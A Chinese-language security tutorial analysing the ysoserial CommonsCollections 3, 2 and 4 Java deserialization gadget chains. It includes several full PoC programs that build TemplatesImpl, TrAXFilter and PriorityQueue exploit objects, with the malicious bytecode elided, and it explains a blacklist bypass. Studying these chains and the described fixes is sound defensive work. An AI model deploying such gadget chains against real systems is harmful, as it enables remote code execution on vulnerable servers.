文章目录
前言
上一篇文章笔者收集汇总了Java中动态加载字节码的方法,其中之一就是利用TemplatesImpl
去加载类的字节码。而ysoserial中CommonsCollections 3/2/4这三条利用链就用到了TemplatesImpl
。
CommonsCollections3
InvokerTransformer版PoC
上一篇文章讲述了TemplatesImpl
是通过调用其成员方法newTransformer()
从而触发字节码的加载。
回顾CC-1,它是通过ConstantTransformer
和InvokerTransformer
构造ChainedTransformer
执行链Runtime.getRuntime().exec()
来执行命令。
那现在我们不使用Runtime.getRuntime().exec()
,而是通过TemplatesImpl#newTransformer()
来加载恶意类的字节码并初始化恶意类。
在CC-1的基础上,修改ChainedTransformer
执行链如下:
byte[] codes = Base64.getDecoder().decode("yv66v...(恶意类的的字节码的base64编码)...");
byte[][] _bytecodes = new byte[][] {
codes,
};
TemplatesImpl templatesObj = new TemplatesImpl();
setFiledValue(templatesObj, "_bytecodes", _bytecodes);
setFiledValue(templatesObj, "_name", "whatever");
setFiledValue(templatesObj, "_tfactory", new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templatesObj),
new InvokerTransformer("newTransformer", new Class[0], new Object[0]),
};
Transformer transformerChain = new ChainedTransformer(transformers);
反序列化便会弹出计算器。
InstantiateTransformer版PoC
起因猜想
但ysoserial的CC-3 并没有使用InvokerTransformer
去构造ChainedTransformer
执行链,而是使用了InstantiateTransformer
。是什么原因呢?
2015年Gabriel Lawrence (@gebl)和Chris Frohoff (@frohoff)在AppSecCali上提出了利⽤Apache Commons Collections来构造命令执⾏的利⽤链,并在年底因为对Weblogic、JBoss、Jenkins等著名应⽤的利⽤,⼀⽯激起千层浪,彻底打开了⼀⽚ Java安全的蓝海。开发者为了防御反序列化漏洞,便开发出了类似SerialKiller 这样的工具库。
SerialKiller采用了黑/白名单的方式,通过继承ObjectInputStream
类并重写resolveClass()
方法,去匹配校验。
而最早版本的SerialKiller
,其黑名单里就包括了InvokerTransformer
。
因此ysoserial的CC-3 估计就是当时用来绕过这个黑名单的一个gadget。
InstantiateTransformer
,它的transform()
方法通过反射获取任意Class对象的构造方法,并调用构造方法进行实例化。
所以,如果使用InstantiateTransformer
替代InvokerTransformer
构造执行链的话,就得找到一个类,这个类的构造方法会调用TemplatesImpl#newTransformer()
方法。ysoserial的CC-3 使用的类为com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter
。
来看一下TrAXFilter
的构造方法。它接收Templates
类型的对象,并且会执行Templates
对象的newTransformer()
方法。
因此,可在上面 InvokerTransformer 版的PoC基础上,修改ChainedTransformer
的构造如下:
byte[] codes = Base64.getDecoder().decode("yv66v...(恶意类的的字节码的base64编码)...");
byte[][] _bytecodes = new byte[][] {
codes,
};
TemplatesImpl templatesObj = new TemplatesImpl();
setFiledValue(templatesObj, "_bytecodes", _bytecodes);
setFiledValue(templatesObj, "_name", "whatever");
setFiledValue(templatesObj, "_tfactory", new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[]{Templates.class},
new Object[]{templatesObj}
),
};
Transformer transformerChain = new ChainedTransformer(transformers);
关于Javassist
javassist是一个开源的分析、编辑和创建Java字节码的类库。其主要的优点,在于简单,而且快速。直接使用 Java编码的形式,而不需要了解虚拟机指令,就能动态改变类的结构,或者动态生成类。
ysoserial 在创建TemplatesImpl
对象的过程中(详见Gadgets.createTemplatesImpl()
方法),使用Javassist在ysoserial.payloads.util.StubTransletPayload
类字节码中插入恶意代码,StubTransletPayload
是AbstractTranslet
的子类。
关于javassist的使用,可参考[3]
。
条件限制
由于CC-3 也是使用sun.reflect.annotation.AnnotationInvocationHandler#readObject() -> ... -> LazyMap#get()
作为反序列化利用链的,所以也跟CC-1 一样受到了JDK版本的限制(JDK 8u71以后)。
关于Java反序列化漏洞在代码层面的防御
Java反序列化漏洞在代码层面的防御,可使用或参考SerialKiller(参考[2]
,重写resolveClass()
方法,使用黑白名单的方式去实现)。
关于commons-collections和commons-collections4
Apache Commons Collections是⼀个著名的辅助开发库,包含了⼀些Java中没有的数据结构和和辅助 ⽅法。
在2015年底commons-collections反序列化利⽤链被提出时,Apache Commons Collections有以下两 个分⽀版本:
- commons-collections:commons-collections
- org.apache.commons:commons-collections4
groupId和artifactId都不一样。前者是Commons Collections⽼的版本包,当时版本号是3.2.1
;后 者是官⽅在2013年推出的4版本,当时版本号是4.0
。
官⽅认为旧的commons-collections有⼀些架构和API设计上的问题,但修复这些问题,会产⽣⼤量不能 向前兼容的改动。所以,commons-collections4不再认为是⼀个⽤来替换commons-collections的新版 本,⽽是⼀个新的包,两者的命名空间不冲突,因此可以共存在同⼀个项⽬中。
问题1
CC-1/3/5/6/7 能否使用commons-collections4
去替换原来的commons-collections
?
答:
可以的。只是相应的函数要修改一下,比如:
原来的 TransformedMap.decorate()
要改为 TransformedMap.transformedMap()
,
LazyMap.decorate()
要改为 LazyMap.lazyMap()
.
除了前面的CC-1/3/5/6/7 可以使用 commons-collections4
替换外,ysoserial 还开发了两个仅适用于commons-collections4
的gadget:
- CommonsCollections2
- CommonsCollections4
问题2
为什么这两个gadget仅适用于commons-collections4
?
答:
因为这两个gadget都使用到了TransformingComparator
类,而这个类在commons-collections
中是没有实现序列化接口java.io.Serializable
,所以这个类的对象在序列化数据的生成过程中就无法序列化,会抛异常java.io.NotSerializableException
。
CommonsCollections2
ysoserial的CC-2这条链用了两个关键的类:
java.util.PriorityQueue
org.apache.commons.collections4.comparators.TransformingComparator
PriorityQueue - 优先级队列
PriorityQueue
与普通Queue
不同的是,Queue
是先进先出(FIFO)的。而PriorityQueue
的出队顺序与元素的优先级有关,对PriorityQueue
调用remove()
或poll()
方法,返回的总是优先级最高的元素。
放入PriorityQueue的元素,必须实现Comparable
接口,PriorityQueue会根据元素的排序顺序决定出队的优先级。比如String就是实现了Comparable
接口。如果我们要放入的元素并没有实现Comparable
接口怎么办?PriorityQueue
允许我们提供一个Comparator
对象来判断两个元素的顺序。
PriorityQueue
通过Comparator
对象的compare()
方法来判断两个元素的顺序。
关于PriorityQueue的数据结构分析,可
参考[5]
。
TransformingComparator
TransformingComparator
是commons-collections4 里的一个比较器类,它实现了Comparator
接口,可通过构造方法传入一个Transformer
对象。
而且TransformingComparator
的compare()
方法,会调用Transformer#transform()
方法。
PoC
我们可以自然地想到,PriorityQueue利用链其实就是找到PriorityQueue#readObject()
到 Transformer#transform()
的一条通路。
那么这条通路是如何连在一起的呢?
由于PriorityQueue是优先级队列,所以它在反序列化的时候为了还原元素的顺序,肯定要进行比较并排序。所以在PriorityQueue#readObject()
方法中,调用了PriorityQueue#heapify()
方法来还原元素的顺序。整个调用链如下:
PriorityQueue#readObject()
PriorityQueue#heapify()
PriorityQueue#siftDown()
PriorityQueue#siftDownUsingComparator()
TransformingComparator#compare()
Transformer#transform()
所以按照这个思路,我们便可以构造PoC:
public static void main(String[] args) {
try {
byte[] codes = Base64.getDecoder().decode("yv66vg...(恶意类字节码的base64编码)...");
byte[][] _bytecodes = new byte[][] {
codes,
};
TemplatesImpl templatesObj = new TemplatesImpl();
setFiledValue(templatesObj, "_bytecodes", _bytecodes);
setFiledValue(templatesObj, "_name", "whatever");
setFiledValue(templatesObj, "_tfactory", new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templatesObj),
new InvokerTransformer("newTransformer", new Class[0], new Object[0]),
};
Transformer tmpTransformer = new ConstantTransformer(1);
/**
* 因为PriorityQueue#add()操作也会触发比较器的比较操作:
* TransformingComparator#compare()
*
* 所以为了避免生成序列化数据的过程中触发命令执行,先构造一个无害的ChainedTransformer
*/
Transformer transformerChain = new ChainedTransformer(tmpTransformer);
TransformingComparator comparator = new TransformingComparator(transformerChain);
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
queue.add(1);
queue.add(2);
setFiledValue(transformerChain, "iTransformers", transformers);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(queue);
System.out.println(baos.toString());
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray()));
Object o = ois.readObject();
} catch (Exception e) {
e.printStackTrace();
}
}
问题3
为什么要先add()
两个整型数到PriorityQueue
队列中?
答:
因为至少要两个元素才会进行比较操作。判断这个条件是否满足的代码见PriorityQueue#heapify()
方法。(下面函数中的size
表示PriorityQueue
队列包含的元素个数)
只有满足条件,才会调用到siftDown()
方法,从而触发后面的元素比较逻辑。
PoC - 不使用Transformer数组
上面的PoC 我们依旧像往常一样使用了ChainedTransformer
构造执行链,即构造一个Transformer
数组。
是否可以不用Transformer
数组,而是使用一个Transformer
对象就可以实现目的呢?
先来看一下TransformingComparator#compare()
方法:
假设这里的this.transformer
不是ChainedTransformer
,而只是一个InvokerTransformer
对象,而传入它的transform(obj)
方法参数的是一个待比较的元素。因此如果传入InvokerTransformer#transform(obj)
参数的是一个TemplatesImpl
对象,就能调用TemplatesImpl#newTransformer()
实现类加载和初始化。
按照这个思路,在上面的PoC的基础上进行修改,实现无需构造Transformer
数组来实现 PriorityQueue 利用链,代码如下:
public static void main(String[] args) {
try {
byte[] codes = Base64.getDecoder().decode("yv66vg...(恶意类字节码的base64编码)...");
byte[][] _bytecodes = new byte[][] {
codes,
};
TemplatesImpl templatesObj = new TemplatesImpl();
setFiledValue(templatesObj, "_bytecodes", _bytecodes);
setFiledValue(templatesObj, "_name", "whatever");
setFiledValue(templatesObj, "_tfactory", new TransformerFactoryImpl());
InvokerTransformer evilTransformer = new InvokerTransformer(
"newTransformer", new Class[0], new Object[0]);
Transformer tmpTransformer = new InvokerTransformer(
"toString", new Class[0], new Object[0]);
/**
* 因为PriorityQueue#add()操作也会触发比较器的比较操作:
* TransformingComparator#compare()
*
* 所以为了避免生成序列化数据的过程中触发命令执行,先构造一个无害的Transformer
*/
TransformingComparator comparator = new TransformingComparator(tmpTransformer);
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
queue.add(templatesObj);
queue.add(templatesObj);
setFiledValue(comparator, "transformer", evilTransformer);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(queue);
System.out.println(baos.toString());
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray()));
Object o = ois.readObject();
} catch (Exception e) {
e.printStackTrace();
}
}
CommonsCollections4
CC-4 其实是CC-2的变体,CC-4使用了InstantiateTransformer
去替代CC-2中的InvokerTransformer
。
前面CC-3 已讲述使用InstantiateTransformer
是如何构造ChainedTransformer
执行链的,要配合TrAXFilter
类的构造方法进行串联,这里就不再重复。
PoC
public static void main(String[] args) {
try {
byte[] codes = Base64.getDecoder().decode("yv66v...(恶意类字节码的base64编码)...");
byte[][] _bytecodes = new byte[][]{
codes,
};
TemplatesImpl templatesObj = new TemplatesImpl();
setFiledValue(templatesObj, "_bytecodes", _bytecodes);
setFiledValue(templatesObj, "_name", "whatever");
setFiledValue(templatesObj, "_tfactory", new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[]{Templates.class}, new Object[]{templatesObj})
};
Transformer[] tmpTransformers = new Transformer[]{
new ConstantTransformer(1)
};
/**
* 因为PriorityQueue#add()操作也会触发比较器的比较操作:
* TransformingComparator#compare()
*
* 所以为了避免生成序列化数据的过程中触发命令执行,先构造一个无害的ChainedTransformer
*/
Transformer transformerChain = new ChainedTransformer(tmpTransformers);
TransformingComparator comparator = new TransformingComparator(transformerChain);
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
queue.add(1);
queue.add(2);
setFiledValue(transformerChain, "iTransformers", transformers);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(queue);
System.out.println(baos.toString());
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray()));
Object o = ois.readObject();
} catch (Exception e) {
e.printStackTrace();
}
}
PoC - 不使用Transformer数组
public static void main(String[] args) {
try {
byte[] codes = Base64.getDecoder().decode("yv66vg...(恶意类字节码的base64编码)...");
byte[][] _bytecodes = new byte[][]{
codes,
};
TemplatesImpl templatesObj = new TemplatesImpl();
setFiledValue(templatesObj, "_bytecodes", _bytecodes);
setFiledValue(templatesObj, "_name", "whatever");
setFiledValue(templatesObj, "_tfactory", new TransformerFactoryImpl());
Transformer transformer = new InstantiateTransformer(
new Class[]{Templates.class},
new Object[]{templatesObj}
);
Transformer tmpTransformer = new ConstantTransformer(1);
/**
* 因为PriorityQueue#add()操作也会触发比较器的比较操作:
* TransformingComparator#compare()
*
* 所以为了避免生成序列化数据的过程中触发命令执行,先构造一个无害的Transformer
*/
TransformingComparator comparator = new TransformingComparator(tmpTransformer);
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
queue.add(TrAXFilter.class);
queue.add(TrAXFilter.class);
setFiledValue(comparator, "transformer", transformer);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(queue);
System.out.println(baos.toString());
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray()));
Object o = ois.readObject();
} catch (Exception e) {
e.printStackTrace();
}
}
关于Apache官方针对commons-collections反序列化gadget 的修复⽅法
Apache Commons Collections官⽅在2015年得知反序列化相关的问题后,就在两个分⽀上同时发布了新的版本,4.1
和3.2.2
。
在commons-collections 3.2.2
版本,新增了一个FunctorUtils.checkUnsafeSerialization()
方法:
这个方法在一些危险类的writeObject()
方法和readObject()
方法中被调用,比如InvokerTransformer
、InstantiateTransformer
等。
如果用户未启用全局属性org.apache.commons.collections.enableUnsafeSerialization
,则不允许这些类进行序列化和反序列化。
再看4.1
版本,修复⽅式⼜不⼀样。在4.1
版本⾥,这⼏个危险Transformer类不再实现 Serializable
接⼝,换言之,它们再也不能序列化和反序列化了。
小结
commons-collections这个包之所以能搞出那么多利⽤链来,除了它使⽤量⼤,技术上的原因是它包含了⼀些可以执⾏任意⽅法的Transformer
。所以,在commons-collections中找gadget的过程,实际上可以简化为,找⼀条从 <Serializable Object>#readObject()
⽅法到 Transformer#transform()
⽅法的调⽤链。
参考
[1] https://github.com/phith0n/JavaThings
[2] https://github.com/ikkisoft/SerialKiller/
[3] https://www.cnblogs.com/scy251147/p/11100961.html
[4] https://www.liaoxuefeng.com/wiki/1252599548343744/1265120632401152
[5] https://www.cnblogs.com/linghu-java/p/9467805.html